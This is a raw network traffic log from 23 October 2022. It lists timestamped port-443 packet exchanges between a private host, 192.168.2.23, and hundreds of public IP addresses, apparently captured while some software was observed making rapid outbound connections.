Oct 23, 2022 17:56:37.104264975 CEST	52432	443	192.168.2.23	5.16.96.88
Oct 23, 2022 17:56:37.104279995 CEST	48908	443	192.168.2.23	202.226.167.225
Oct 23, 2022 17:56:37.104280949 CEST	443	52432	5.16.96.88	192.168.2.23
Oct 23, 2022 17:56:37.104296923 CEST	443	48908	202.226.167.225	192.168.2.23
Oct 23, 2022 17:56:37.104319096 CEST	48908	443	192.168.2.23	202.226.167.225
Oct 23, 2022 17:56:37.104322910 CEST	34978	443	192.168.2.23	212.219.27.100
Oct 23, 2022 17:56:37.104336977 CEST	443	34978	212.219.27.100	192.168.2.23
Oct 23, 2022 17:56:37.104355097 CEST	34978	443	192.168.2.23	212.219.27.100
Oct 23, 2022 17:56:37.104366064 CEST	58596	443	192.168.2.23	5.123.41.177
Oct 23, 2022 17:56:37.104374886 CEST	443	58596	5.123.41.177	192.168.2.23
Oct 23, 2022 17:56:37.104394913 CEST	58596	443	192.168.2.23	5.123.41.177
Oct 23, 2022 17:56:37.104435921 CEST	59560	443	192.168.2.23	123.201.160.1
Oct 23, 2022 17:56:37.104449034 CEST	443	59560	123.201.160.1	192.168.2.23
Oct 23, 2022 17:56:37.104460001 CEST	59560	443	192.168.2.23	123.201.160.1
Oct 23, 2022 17:56:37.104489088 CEST	43618	443	192.168.2.23	94.221.243.207
Oct 23, 2022 17:56:37.104507923 CEST	443	43618	94.221.243.207	192.168.2.23
Oct 23, 2022 17:56:37.104525089 CEST	43618	443	192.168.2.23	94.221.243.207
Oct 23, 2022 17:56:37.104553938 CEST	53958	443	192.168.2.23	178.45.80.235
Oct 23, 2022 17:56:37.104553938 CEST	53958	443	192.168.2.23	178.45.80.235
Oct 23, 2022 17:56:37.104566097 CEST	443	53958	178.45.80.235	192.168.2.23
Oct 23, 2022 17:56:37.104573965 CEST	47292	443	192.168.2.23	37.12.44.67
Oct 23, 2022 17:56:37.104592085 CEST	443	47292	37.12.44.67	192.168.2.23
Oct 23, 2022 17:56:37.104610920 CEST	47292	443	192.168.2.23	37.12.44.67
Oct 23, 2022 17:56:37.104613066 CEST	43516	443	192.168.2.23	118.253.169.164
Oct 23, 2022 17:56:37.104625940 CEST	443	43516	118.253.169.164	192.168.2.23
Oct 23, 2022 17:56:37.104645014 CEST	43516	443	192.168.2.23	118.253.169.164
Oct 23, 2022 17:56:37.104660988 CEST	51786	443	192.168.2.23	118.190.188.137
Oct 23, 2022 17:56:37.104669094 CEST	443	51786	118.190.188.137	192.168.2.23
Oct 23, 2022 17:56:37.104688883 CEST	51786	443	192.168.2.23	118.190.188.137
Oct 23, 2022 17:56:37.104720116 CEST	46534	443	192.168.2.23	42.27.217.8
Oct 23, 2022 17:56:37.104732037 CEST	443	46534	42.27.217.8	192.168.2.23
Oct 23, 2022 17:56:37.104752064 CEST	46534	443	192.168.2.23	42.27.217.8
Oct 23, 2022 17:56:37.104757071 CEST	59898	443	192.168.2.23	79.132.152.204
Oct 23, 2022 17:56:37.104782104 CEST	443	59898	79.132.152.204	192.168.2.23
Oct 23, 2022 17:56:37.104794979 CEST	59898	443	192.168.2.23	79.132.152.204
Oct 23, 2022 17:56:37.104810953 CEST	53322	443	192.168.2.23	109.42.186.4
Oct 23, 2022 17:56:37.104820013 CEST	443	53322	109.42.186.4	192.168.2.23
Oct 23, 2022 17:56:37.104840994 CEST	53322	443	192.168.2.23	109.42.186.4
Oct 23, 2022 17:56:37.104895115 CEST	41486	443	192.168.2.23	117.129.129.210
Oct 23, 2022 17:56:37.104895115 CEST	41486	443	192.168.2.23	117.129.129.210
Oct 23, 2022 17:56:37.104902983 CEST	49292	443	192.168.2.23	123.113.197.162
Oct 23, 2022 17:56:37.104907990 CEST	443	41486	117.129.129.210	192.168.2.23
Oct 23, 2022 17:56:37.104918957 CEST	443	49292	123.113.197.162	192.168.2.23
Oct 23, 2022 17:56:37.104929924 CEST	49292	443	192.168.2.23	123.113.197.162
Oct 23, 2022 17:56:37.104974031 CEST	56402	443	192.168.2.23	123.200.109.106
Oct 23, 2022 17:56:37.104974985 CEST	56402	443	192.168.2.23	123.200.109.106
Oct 23, 2022 17:56:37.104989052 CEST	59084	443	192.168.2.23	178.130.61.150
Oct 23, 2022 17:56:37.104990005 CEST	443	56402	123.200.109.106	192.168.2.23
Oct 23, 2022 17:56:37.104998112 CEST	443	59084	178.130.61.150	192.168.2.23
Oct 23, 2022 17:56:37.105015993 CEST	59084	443	192.168.2.23	178.130.61.150
Oct 23, 2022 17:56:37.105026007 CEST	39796	443	192.168.2.23	109.242.127.54
Oct 23, 2022 17:56:37.105041981 CEST	443	39796	109.242.127.54	192.168.2.23
Oct 23, 2022 17:56:37.105057955 CEST	39796	443	192.168.2.23	109.242.127.54
Oct 23, 2022 17:56:37.105067968 CEST	58980	443	192.168.2.23	148.214.116.107
Oct 23, 2022 17:56:37.105077982 CEST	443	58980	148.214.116.107	192.168.2.23
Oct 23, 2022 17:56:37.105101109 CEST	58980	443	192.168.2.23	148.214.116.107
Oct 23, 2022 17:56:37.105122089 CEST	58832	443	192.168.2.23	109.228.2.127
Oct 23, 2022 17:56:37.105132103 CEST	443	58832	109.228.2.127	192.168.2.23
Oct 23, 2022 17:56:37.105153084 CEST	58832	443	192.168.2.23	109.228.2.127
Oct 23, 2022 17:56:37.105175018 CEST	58430	443	192.168.2.23	148.1.157.175
Oct 23, 2022 17:56:37.105190039 CEST	443	58430	148.1.157.175	192.168.2.23
Oct 23, 2022 17:56:37.105207920 CEST	58430	443	192.168.2.23	148.1.157.175
Oct 23, 2022 17:56:37.105216026 CEST	37766	443	192.168.2.23	202.24.139.78
Oct 23, 2022 17:56:37.105242014 CEST	443	37766	202.24.139.78	192.168.2.23
Oct 23, 2022 17:56:37.105251074 CEST	58924	443	192.168.2.23	210.35.80.23
Oct 23, 2022 17:56:37.105262995 CEST	443	58924	210.35.80.23	192.168.2.23
Oct 23, 2022 17:56:37.105305910 CEST	58924	443	192.168.2.23	210.35.80.23
Oct 23, 2022 17:56:37.105308056 CEST	37766	443	192.168.2.23	202.24.139.78
Oct 23, 2022 17:56:37.105314970 CEST	41608	443	192.168.2.23	94.151.15.100
Oct 23, 2022 17:56:37.105328083 CEST	443	41608	94.151.15.100	192.168.2.23
Oct 23, 2022 17:56:37.105344057 CEST	41608	443	192.168.2.23	94.151.15.100
Oct 23, 2022 17:56:37.105374098 CEST	43914	443	192.168.2.23	202.0.246.77
Oct 23, 2022 17:56:37.105389118 CEST	443	43914	202.0.246.77	192.168.2.23
Oct 23, 2022 17:56:37.105407953 CEST	43914	443	192.168.2.23	202.0.246.77
Oct 23, 2022 17:56:37.105411053 CEST	53582	443	192.168.2.23	212.181.120.244
Oct 23, 2022 17:56:37.105428934 CEST	443	53582	212.181.120.244	192.168.2.23
Oct 23, 2022 17:56:37.105436087 CEST	50020	443	192.168.2.23	212.123.78.152
Oct 23, 2022 17:56:37.105446100 CEST	443	50020	212.123.78.152	192.168.2.23
Oct 23, 2022 17:56:37.105447054 CEST	53582	443	192.168.2.23	212.181.120.244
Oct 23, 2022 17:56:37.105467081 CEST	50020	443	192.168.2.23	212.123.78.152
Oct 23, 2022 17:56:37.105492115 CEST	44156	443	192.168.2.23	42.62.68.157
Oct 23, 2022 17:56:37.105504036 CEST	443	44156	42.62.68.157	192.168.2.23
Oct 23, 2022 17:56:37.105524063 CEST	44156	443	192.168.2.23	42.62.68.157
Oct 23, 2022 17:56:37.105542898 CEST	43814	443	192.168.2.23	123.126.104.194
Oct 23, 2022 17:56:37.105551958 CEST	443	43814	123.126.104.194	192.168.2.23
Oct 23, 2022 17:56:37.105576038 CEST	43814	443	192.168.2.23	123.126.104.194
Oct 23, 2022 17:56:37.105598927 CEST	43238	443	192.168.2.23	123.44.106.83
Oct 23, 2022 17:56:37.105617046 CEST	443	43238	123.44.106.83	192.168.2.23
Oct 23, 2022 17:56:37.105638981 CEST	55772	443	192.168.2.23	178.98.35.104
Oct 23, 2022 17:56:37.105647087 CEST	43238	443	192.168.2.23	123.44.106.83
Oct 23, 2022 17:56:37.105654001 CEST	443	55772	178.98.35.104	192.168.2.23
Oct 23, 2022 17:56:37.105670929 CEST	55772	443	192.168.2.23	178.98.35.104
Oct 23, 2022 17:56:37.105680943 CEST	35330	443	192.168.2.23	118.36.145.80
Oct 23, 2022 17:56:37.105693102 CEST	443	35330	118.36.145.80	192.168.2.23
Oct 23, 2022 17:56:37.105715036 CEST	35330	443	192.168.2.23	118.36.145.80
Oct 23, 2022 17:56:37.105726957 CEST	33880	443	192.168.2.23	37.212.209.222
Oct 23, 2022 17:56:37.105741024 CEST	443	33880	37.212.209.222	192.168.2.23
Oct 23, 2022 17:56:37.105762005 CEST	33880	443	192.168.2.23	37.212.209.222
Oct 23, 2022 17:56:37.105782986 CEST	32982	443	192.168.2.23	178.54.96.71
Oct 23, 2022 17:56:37.105796099 CEST	443	32982	178.54.96.71	192.168.2.23
Oct 23, 2022 17:56:37.105820894 CEST	32982	443	192.168.2.23	178.54.96.71
Oct 23, 2022 17:56:37.105820894 CEST	40470	443	192.168.2.23	202.168.228.58
Oct 23, 2022 17:56:37.105837107 CEST	443	40470	202.168.228.58	192.168.2.23
Oct 23, 2022 17:56:37.105856895 CEST	40470	443	192.168.2.23	202.168.228.58
Oct 23, 2022 17:56:37.105887890 CEST	59890	443	192.168.2.23	37.120.67.92
Oct 23, 2022 17:56:37.105901957 CEST	443	59890	37.120.67.92	192.168.2.23
Oct 23, 2022 17:56:37.105915070 CEST	59890	443	192.168.2.23	37.120.67.92
Oct 23, 2022 17:56:37.105935097 CEST	34216	443	192.168.2.23	210.168.122.237
Oct 23, 2022 17:56:37.105946064 CEST	443	34216	210.168.122.237	192.168.2.23
Oct 23, 2022 17:56:37.105973005 CEST	45228	443	192.168.2.23	148.60.102.77
Oct 23, 2022 17:56:37.105986118 CEST	443	45228	148.60.102.77	192.168.2.23
Oct 23, 2022 17:56:37.106009960 CEST	45228	443	192.168.2.23	148.60.102.77
Oct 23, 2022 17:56:37.106015921 CEST	60136	443	192.168.2.23	94.43.197.0
Oct 23, 2022 17:56:37.106029034 CEST	443	60136	94.43.197.0	192.168.2.23
Oct 23, 2022 17:56:37.106044054 CEST	60136	443	192.168.2.23	94.43.197.0
Oct 23, 2022 17:56:37.106056929 CEST	34216	443	192.168.2.23	210.168.122.237
Oct 23, 2022 17:56:37.106070995 CEST	44084	443	192.168.2.23	94.230.168.164
Oct 23, 2022 17:56:37.106081009 CEST	443	44084	94.230.168.164	192.168.2.23
Oct 23, 2022 17:56:37.106103897 CEST	44084	443	192.168.2.23	94.230.168.164
Oct 23, 2022 17:56:37.106118917 CEST	60800	443	192.168.2.23	148.224.100.125
Oct 23, 2022 17:56:37.106129885 CEST	443	60800	148.224.100.125	192.168.2.23
Oct 23, 2022 17:56:37.106143951 CEST	60800	443	192.168.2.23	148.224.100.125
Oct 23, 2022 17:56:37.106154919 CEST	33546	443	192.168.2.23	210.254.12.125
Oct 23, 2022 17:56:37.106163025 CEST	443	33546	210.254.12.125	192.168.2.23
Oct 23, 2022 17:56:37.106182098 CEST	33546	443	192.168.2.23	210.254.12.125
Oct 23, 2022 17:56:37.106209040 CEST	42268	443	192.168.2.23	212.146.3.88
Oct 23, 2022 17:56:37.106226921 CEST	443	42268	212.146.3.88	192.168.2.23
Oct 23, 2022 17:56:37.106242895 CEST	42268	443	192.168.2.23	212.146.3.88
Oct 23, 2022 17:56:37.106250048 CEST	58674	443	192.168.2.23	109.6.134.18
Oct 23, 2022 17:56:37.106262922 CEST	443	58674	109.6.134.18	192.168.2.23
Oct 23, 2022 17:56:37.106281996 CEST	58674	443	192.168.2.23	109.6.134.18
Oct 23, 2022 17:56:37.106291056 CEST	40264	443	192.168.2.23	212.207.190.220
Oct 23, 2022 17:56:37.106301069 CEST	443	40264	212.207.190.220	192.168.2.23
Oct 23, 2022 17:56:37.106322050 CEST	40264	443	192.168.2.23	212.207.190.220
Oct 23, 2022 17:56:37.106332064 CEST	35234	443	192.168.2.23	123.150.199.39
Oct 23, 2022 17:56:37.106343985 CEST	443	35234	123.150.199.39	192.168.2.23
Oct 23, 2022 17:56:37.106359959 CEST	35234	443	192.168.2.23	123.150.199.39
Oct 23, 2022 17:56:37.106441975 CEST	55946	443	192.168.2.23	178.109.182.131
Oct 23, 2022 17:56:37.106468916 CEST	443	55946	178.109.182.131	192.168.2.23
Oct 23, 2022 17:56:37.106476068 CEST	51722	443	192.168.2.23	123.82.42.25
Oct 23, 2022 17:56:37.106479883 CEST	58292	443	192.168.2.23	117.167.79.91
Oct 23, 2022 17:56:37.106487036 CEST	60916	443	192.168.2.23	123.19.63.149
Oct 23, 2022 17:56:37.106504917 CEST	443	60916	123.19.63.149	192.168.2.23
Oct 23, 2022 17:56:37.106509924 CEST	443	51722	123.82.42.25	192.168.2.23
Oct 23, 2022 17:56:37.106518984 CEST	55946	443	192.168.2.23	178.109.182.131
Oct 23, 2022 17:56:37.106524944 CEST	443	58292	117.167.79.91	192.168.2.23
Oct 23, 2022 17:56:37.106544018 CEST	60916	443	192.168.2.23	123.19.63.149
Oct 23, 2022 17:56:37.106544971 CEST	40410	443	192.168.2.23	123.110.184.117
Oct 23, 2022 17:56:37.106545925 CEST	46156	443	192.168.2.23	109.16.165.116
Oct 23, 2022 17:56:37.106560946 CEST	443	40410	123.110.184.117	192.168.2.23
Oct 23, 2022 17:56:37.106561899 CEST	51722	443	192.168.2.23	123.82.42.25
Oct 23, 2022 17:56:37.106579065 CEST	443	46156	109.16.165.116	192.168.2.23
Oct 23, 2022 17:56:37.106580973 CEST	58292	443	192.168.2.23	117.167.79.91
Oct 23, 2022 17:56:37.106581926 CEST	58050	443	192.168.2.23	178.108.121.38
Oct 23, 2022 17:56:37.106581926 CEST	54760	443	192.168.2.23	5.148.145.48
Oct 23, 2022 17:56:37.106614113 CEST	40410	443	192.168.2.23	123.110.184.117
Oct 23, 2022 17:56:37.106618881 CEST	443	58050	178.108.121.38	192.168.2.23
Oct 23, 2022 17:56:37.106635094 CEST	46156	443	192.168.2.23	109.16.165.116
Oct 23, 2022 17:56:37.106637001 CEST	46732	443	192.168.2.23	5.182.154.212
Oct 23, 2022 17:56:37.106640100 CEST	443	54760	5.148.145.48	192.168.2.23
Oct 23, 2022 17:56:37.106659889 CEST	37002	443	192.168.2.23	117.114.88.18
Oct 23, 2022 17:56:37.106659889 CEST	58050	443	192.168.2.23	178.108.121.38
Oct 23, 2022 17:56:37.106664896 CEST	443	46732	5.182.154.212	192.168.2.23
Oct 23, 2022 17:56:37.106683969 CEST	443	37002	117.114.88.18	192.168.2.23
Oct 23, 2022 17:56:37.106709957 CEST	46732	443	192.168.2.23	5.182.154.212
Oct 23, 2022 17:56:37.106719971 CEST	54760	443	192.168.2.23	5.148.145.48
Oct 23, 2022 17:56:37.106719971 CEST	37002	443	192.168.2.23	117.114.88.18
Oct 23, 2022 17:56:37.106746912 CEST	53232	443	192.168.2.23	42.168.144.206
Oct 23, 2022 17:56:37.106746912 CEST	53578	443	192.168.2.23	210.87.52.105
Oct 23, 2022 17:56:37.106776953 CEST	443	53232	42.168.144.206	192.168.2.23
Oct 23, 2022 17:56:37.106777906 CEST	58586	443	192.168.2.23	79.134.163.212
Oct 23, 2022 17:56:37.106796026 CEST	443	58586	79.134.163.212	192.168.2.23
Oct 23, 2022 17:56:37.106805086 CEST	443	53578	210.87.52.105	192.168.2.23
Oct 23, 2022 17:56:37.106805086 CEST	57072	443	192.168.2.23	2.158.30.118
Oct 23, 2022 17:56:37.106811047 CEST	46626	443	192.168.2.23	178.78.11.151
Oct 23, 2022 17:56:37.106811047 CEST	53232	443	192.168.2.23	42.168.144.206
Oct 23, 2022 17:56:37.106818914 CEST	45358	443	192.168.2.23	37.52.24.182
Oct 23, 2022 17:56:37.106832027 CEST	443	46626	178.78.11.151	192.168.2.23
Oct 23, 2022 17:56:37.106833935 CEST	58586	443	192.168.2.23	79.134.163.212
Oct 23, 2022 17:56:37.106836081 CEST	443	57072	2.158.30.118	192.168.2.23
Oct 23, 2022 17:56:37.106853008 CEST	443	45358	37.52.24.182	192.168.2.23
Oct 23, 2022 17:56:37.106862068 CEST	53578	443	192.168.2.23	210.87.52.105
Oct 23, 2022 17:56:37.106867075 CEST	40460	443	192.168.2.23	202.30.165.0
Oct 23, 2022 17:56:37.106867075 CEST	57072	443	192.168.2.23	2.158.30.118
Oct 23, 2022 17:56:37.106884956 CEST	49842	443	192.168.2.23	2.127.102.74
Oct 23, 2022 17:56:37.106887102 CEST	45358	443	192.168.2.23	37.52.24.182
Oct 23, 2022 17:56:37.106905937 CEST	443	49842	2.127.102.74	192.168.2.23
Oct 23, 2022 17:56:37.106909037 CEST	443	40460	202.30.165.0	192.168.2.23
Oct 23, 2022 17:56:37.106925964 CEST	46626	443	192.168.2.23	178.78.11.151
Oct 23, 2022 17:56:37.106926918 CEST	45230	443	192.168.2.23	123.52.111.109
Oct 23, 2022 17:56:37.106955051 CEST	44924	443	192.168.2.23	79.41.66.85
Oct 23, 2022 17:56:37.106956959 CEST	443	45230	123.52.111.109	192.168.2.23
Oct 23, 2022 17:56:37.106961012 CEST	42106	443	192.168.2.23	117.79.91.6
Oct 23, 2022 17:56:37.106966972 CEST	49842	443	192.168.2.23	2.127.102.74
Oct 23, 2022 17:56:37.106971025 CEST	40460	443	192.168.2.23	202.30.165.0
Oct 23, 2022 17:56:37.106980085 CEST	443	44924	79.41.66.85	192.168.2.23
Oct 23, 2022 17:56:37.106992006 CEST	443	42106	117.79.91.6	192.168.2.23
Oct 23, 2022 17:56:37.107004881 CEST	45230	443	192.168.2.23	123.52.111.109
Oct 23, 2022 17:56:37.107017040 CEST	44924	443	192.168.2.23	79.41.66.85
Oct 23, 2022 17:56:37.107029915 CEST	42106	443	192.168.2.23	117.79.91.6
Oct 23, 2022 17:56:37.107047081 CEST	35588	443	192.168.2.23	212.120.232.150
Oct 23, 2022 17:56:37.107060909 CEST	34206	443	192.168.2.23	123.178.98.16
Oct 23, 2022 17:56:37.107069969 CEST	443	35588	212.120.232.150	192.168.2.23
Oct 23, 2022 17:56:37.107079029 CEST	38162	443	192.168.2.23	210.179.246.141
Oct 23, 2022 17:56:37.107083082 CEST	443	34206	123.178.98.16	192.168.2.23
Oct 23, 2022 17:56:37.107094049 CEST	39750	443	192.168.2.23	212.153.100.71
Oct 23, 2022 17:56:37.107104063 CEST	443	38162	210.179.246.141	192.168.2.23
Oct 23, 2022 17:56:37.107112885 CEST	443	39750	212.153.100.71	192.168.2.23
Oct 23, 2022 17:56:37.107126951 CEST	52318	443	192.168.2.23	2.98.105.139
Oct 23, 2022 17:56:37.107126951 CEST	34206	443	192.168.2.23	123.178.98.16
Oct 23, 2022 17:56:37.107131958 CEST	35588	443	192.168.2.23	212.120.232.150
Oct 23, 2022 17:56:37.107140064 CEST	39882	443	192.168.2.23	210.224.9.65
Oct 23, 2022 17:56:37.107148886 CEST	443	52318	2.98.105.139	192.168.2.23
Oct 23, 2022 17:56:37.107158899 CEST	39750	443	192.168.2.23	212.153.100.71
Oct 23, 2022 17:56:37.107165098 CEST	443	39882	210.224.9.65	192.168.2.23
Oct 23, 2022 17:56:37.107166052 CEST	34892	443	192.168.2.23	117.60.70.193
Oct 23, 2022 17:56:37.107184887 CEST	38162	443	192.168.2.23	210.179.246.141
Oct 23, 2022 17:56:37.107187033 CEST	44684	443	192.168.2.23	123.223.118.197
Oct 23, 2022 17:56:37.107188940 CEST	34926	443	192.168.2.23	178.158.59.248
Oct 23, 2022 17:56:37.107198954 CEST	443	34892	117.60.70.193	192.168.2.23
Oct 23, 2022 17:56:37.107201099 CEST	53626	443	192.168.2.23	79.71.237.250
Oct 23, 2022 17:56:37.107206106 CEST	443	44684	123.223.118.197	192.168.2.23
Oct 23, 2022 17:56:37.107207060 CEST	39882	443	192.168.2.23	210.224.9.65
Oct 23, 2022 17:56:37.107208967 CEST	443	34926	178.158.59.248	192.168.2.23
Oct 23, 2022 17:56:37.107212067 CEST	52318	443	192.168.2.23	2.98.105.139
Oct 23, 2022 17:56:37.107220888 CEST	443	53626	79.71.237.250	192.168.2.23
Oct 23, 2022 17:56:37.107223988 CEST	55890	443	192.168.2.23	109.223.218.189
Oct 23, 2022 17:56:37.107235909 CEST	41074	443	192.168.2.23	202.248.141.75
Oct 23, 2022 17:56:37.107245922 CEST	443	55890	109.223.218.189	192.168.2.23
Oct 23, 2022 17:56:37.107254028 CEST	443	41074	202.248.141.75	192.168.2.23
Oct 23, 2022 17:56:37.107256889 CEST	34926	443	192.168.2.23	178.158.59.248
Oct 23, 2022 17:56:37.107259035 CEST	44684	443	192.168.2.23	123.223.118.197
Oct 23, 2022 17:56:37.107260942 CEST	53626	443	192.168.2.23	79.71.237.250
Oct 23, 2022 17:56:37.107265949 CEST	34892	443	192.168.2.23	117.60.70.193
Oct 23, 2022 17:56:37.107276917 CEST	55254	443	192.168.2.23	118.149.209.53
Oct 23, 2022 17:56:37.107290983 CEST	55890	443	192.168.2.23	109.223.218.189
Oct 23, 2022 17:56:37.107296944 CEST	443	55254	118.149.209.53	192.168.2.23
Oct 23, 2022 17:56:37.107316017 CEST	47216	443	192.168.2.23	118.123.123.231
Oct 23, 2022 17:56:37.107316017 CEST	41074	443	192.168.2.23	202.248.141.75
Oct 23, 2022 17:56:37.107331991 CEST	443	47216	118.123.123.231	192.168.2.23
Oct 23, 2022 17:56:37.107340097 CEST	55254	443	192.168.2.23	118.149.209.53
Oct 23, 2022 17:56:37.107361078 CEST	60130	443	192.168.2.23	5.167.190.168
Oct 23, 2022 17:56:37.107372046 CEST	53392	443	192.168.2.23	37.162.141.146
Oct 23, 2022 17:56:37.107378006 CEST	443	60130	5.167.190.168	192.168.2.23
Oct 23, 2022 17:56:37.107383013 CEST	47216	443	192.168.2.23	118.123.123.231
Oct 23, 2022 17:56:37.107386112 CEST	33276	443	192.168.2.23	109.89.214.29
Oct 23, 2022 17:56:37.107395887 CEST	443	53392	37.162.141.146	192.168.2.23
Oct 23, 2022 17:56:37.107404947 CEST	443	33276	109.89.214.29	192.168.2.23
Oct 23, 2022 17:56:37.107425928 CEST	60130	443	192.168.2.23	5.167.190.168
Oct 23, 2022 17:56:37.107436895 CEST	53392	443	192.168.2.23	37.162.141.146
Oct 23, 2022 17:56:37.107445955 CEST	33276	443	192.168.2.23	109.89.214.29
Oct 23, 2022 17:56:37.107918024 CEST	55946	443	192.168.2.23	178.109.182.131
Oct 23, 2022 17:56:37.107928991 CEST	443	55946	178.109.182.131	192.168.2.23
Oct 23, 2022 17:56:37.107959032 CEST	55946	443	192.168.2.23	178.109.182.131
Oct 23, 2022 17:56:37.107992887 CEST	51722	443	192.168.2.23	123.82.42.25
Oct 23, 2022 17:56:37.108012915 CEST	443	51722	123.82.42.25	192.168.2.23
Oct 23, 2022 17:56:37.108021021 CEST	58292	443	192.168.2.23	117.167.79.91
Oct 23, 2022 17:56:37.108031988 CEST	51722	443	192.168.2.23	123.82.42.25
Oct 23, 2022 17:56:37.108036041 CEST	443	58292	117.167.79.91	192.168.2.23
Oct 23, 2022 17:56:37.108066082 CEST	60916	443	192.168.2.23	123.19.63.149
Oct 23, 2022 17:56:37.108078003 CEST	443	60916	123.19.63.149	192.168.2.23
Oct 23, 2022 17:56:37.108093977 CEST	60916	443	192.168.2.23	123.19.63.149
Oct 23, 2022 17:56:37.108105898 CEST	58292	443	192.168.2.23	117.167.79.91
Oct 23, 2022 17:56:37.108105898 CEST	40410	443	192.168.2.23	123.110.184.117
Oct 23, 2022 17:56:37.108123064 CEST	443	40410	123.110.184.117	192.168.2.23
Oct 23, 2022 17:56:37.108159065 CEST	46156	443	192.168.2.23	109.16.165.116
Oct 23, 2022 17:56:37.108165979 CEST	40410	443	192.168.2.23	123.110.184.117
Oct 23, 2022 17:56:37.108175039 CEST	443	46156	109.16.165.116	192.168.2.23
Oct 23, 2022 17:56:37.108196020 CEST	46156	443	192.168.2.23	109.16.165.116
Oct 23, 2022 17:56:37.108217955 CEST	58050	443	192.168.2.23	178.108.121.38
Oct 23, 2022 17:56:37.108232021 CEST	443	58050	178.108.121.38	192.168.2.23
Oct 23, 2022 17:56:37.108257055 CEST	58050	443	192.168.2.23	178.108.121.38
Oct 23, 2022 17:56:37.108257055 CEST	54760	443	192.168.2.23	5.148.145.48
Oct 23, 2022 17:56:37.108273983 CEST	443	54760	5.148.145.48	192.168.2.23
Oct 23, 2022 17:56:37.108290911 CEST	54760	443	192.168.2.23	5.148.145.48
Oct 23, 2022 17:56:37.108324051 CEST	46732	443	192.168.2.23	5.182.154.212
Oct 23, 2022 17:56:37.108342886 CEST	443	46732	5.182.154.212	192.168.2.23
Oct 23, 2022 17:56:37.108361959 CEST	46732	443	192.168.2.23	5.182.154.212
Oct 23, 2022 17:56:37.108378887 CEST	37002	443	192.168.2.23	117.114.88.18
Oct 23, 2022 17:56:37.108396053 CEST	443	37002	117.114.88.18	192.168.2.23
Oct 23, 2022 17:56:37.108407021 CEST	53232	443	192.168.2.23	42.168.144.206
Oct 23, 2022 17:56:37.108416080 CEST	37002	443	192.168.2.23	117.114.88.18
Oct 23, 2022 17:56:37.108423948 CEST	443	53232	42.168.144.206	192.168.2.23
Oct 23, 2022 17:56:37.108454943 CEST	53232	443	192.168.2.23	42.168.144.206
Oct 23, 2022 17:56:37.108454943 CEST	53578	443	192.168.2.23	210.87.52.105
Oct 23, 2022 17:56:37.108470917 CEST	443	53578	210.87.52.105	192.168.2.23
Oct 23, 2022 17:56:37.108489990 CEST	53578	443	192.168.2.23	210.87.52.105
Oct 23, 2022 17:56:37.108509064 CEST	58586	443	192.168.2.23	79.134.163.212
Oct 23, 2022 17:56:37.108519077 CEST	443	58586	79.134.163.212	192.168.2.23
Oct 23, 2022 17:56:37.108541965 CEST	58586	443	192.168.2.23	79.134.163.212
Oct 23, 2022 17:56:37.108568907 CEST	46626	443	192.168.2.23	178.78.11.151
Oct 23, 2022 17:56:37.108586073 CEST	443	46626	178.78.11.151	192.168.2.23
Oct 23, 2022 17:56:37.108604908 CEST	46626	443	192.168.2.23	178.78.11.151
Oct 23, 2022 17:56:37.108608961 CEST	57072	443	192.168.2.23	2.158.30.118
Oct 23, 2022 17:56:37.108618975 CEST	443	57072	2.158.30.118	192.168.2.23
Oct 23, 2022 17:56:37.108642101 CEST	57072	443	192.168.2.23	2.158.30.118
Oct 23, 2022 17:56:37.108647108 CEST	45358	443	192.168.2.23	37.52.24.182
Oct 23, 2022 17:56:37.108665943 CEST	443	45358	37.52.24.182	192.168.2.23
Oct 23, 2022 17:56:37.108686924 CEST	45358	443	192.168.2.23	37.52.24.182
Oct 23, 2022 17:56:37.108700991 CEST	40460	443	192.168.2.23	202.30.165.0
Oct 23, 2022 17:56:37.108712912 CEST	443	40460	202.30.165.0	192.168.2.23
Oct 23, 2022 17:56:37.108731985 CEST	40460	443	192.168.2.23	202.30.165.0
Oct 23, 2022 17:56:37.108737946 CEST	49842	443	192.168.2.23	2.127.102.74
Oct 23, 2022 17:56:37.108747959 CEST	443	49842	2.127.102.74	192.168.2.23
Oct 23, 2022 17:56:37.108777046 CEST	49842	443	192.168.2.23	2.127.102.74
Oct 23, 2022 17:56:37.108798027 CEST	45230	443	192.168.2.23	123.52.111.109
Oct 23, 2022 17:56:37.108814001 CEST	443	45230	123.52.111.109	192.168.2.23
Oct 23, 2022 17:56:37.108834028 CEST	45230	443	192.168.2.23	123.52.111.109
Oct 23, 2022 17:56:37.108843088 CEST	42106	443	192.168.2.23	117.79.91.6
Oct 23, 2022 17:56:37.108855009 CEST	443	42106	117.79.91.6	192.168.2.23
Oct 23, 2022 17:56:37.108895063 CEST	44924	443	192.168.2.23	79.41.66.85
Oct 23, 2022 17:56:37.108907938 CEST	443	44924	79.41.66.85	192.168.2.23
Oct 23, 2022 17:56:37.108925104 CEST	44924	443	192.168.2.23	79.41.66.85
Oct 23, 2022 17:56:37.108927965 CEST	42106	443	192.168.2.23	117.79.91.6
Oct 23, 2022 17:56:37.108938932 CEST	35588	443	192.168.2.23	212.120.232.150
Oct 23, 2022 17:56:37.108951092 CEST	443	35588	212.120.232.150	192.168.2.23
Oct 23, 2022 17:56:37.108971119 CEST	35588	443	192.168.2.23	212.120.232.150
Oct 23, 2022 17:56:37.108988047 CEST	34206	443	192.168.2.23	123.178.98.16
Oct 23, 2022 17:56:37.109003067 CEST	443	34206	123.178.98.16	192.168.2.23
Oct 23, 2022 17:56:37.109016895 CEST	34206	443	192.168.2.23	123.178.98.16
Oct 23, 2022 17:56:37.109030008 CEST	38162	443	192.168.2.23	210.179.246.141
Oct 23, 2022 17:56:37.109044075 CEST	443	38162	210.179.246.141	192.168.2.23
Oct 23, 2022 17:56:37.109061003 CEST	38162	443	192.168.2.23	210.179.246.141
Oct 23, 2022 17:56:37.109070063 CEST	39750	443	192.168.2.23	212.153.100.71
Oct 23, 2022 17:56:37.109081030 CEST	443	39750	212.153.100.71	192.168.2.23
Oct 23, 2022 17:56:37.109101057 CEST	39750	443	192.168.2.23	212.153.100.71
Oct 23, 2022 17:56:37.109110117 CEST	52318	443	192.168.2.23	2.98.105.139
Oct 23, 2022 17:56:37.109126091 CEST	443	52318	2.98.105.139	192.168.2.23
Oct 23, 2022 17:56:37.109138012 CEST	34926	443	192.168.2.23	178.158.59.248
Oct 23, 2022 17:56:37.109143019 CEST	52318	443	192.168.2.23	2.98.105.139
Oct 23, 2022 17:56:37.109164953 CEST	443	34926	178.158.59.248	192.168.2.23
Oct 23, 2022 17:56:37.109175920 CEST	39882	443	192.168.2.23	210.224.9.65
Oct 23, 2022 17:56:37.109189034 CEST	443	39882	210.224.9.65	192.168.2.23
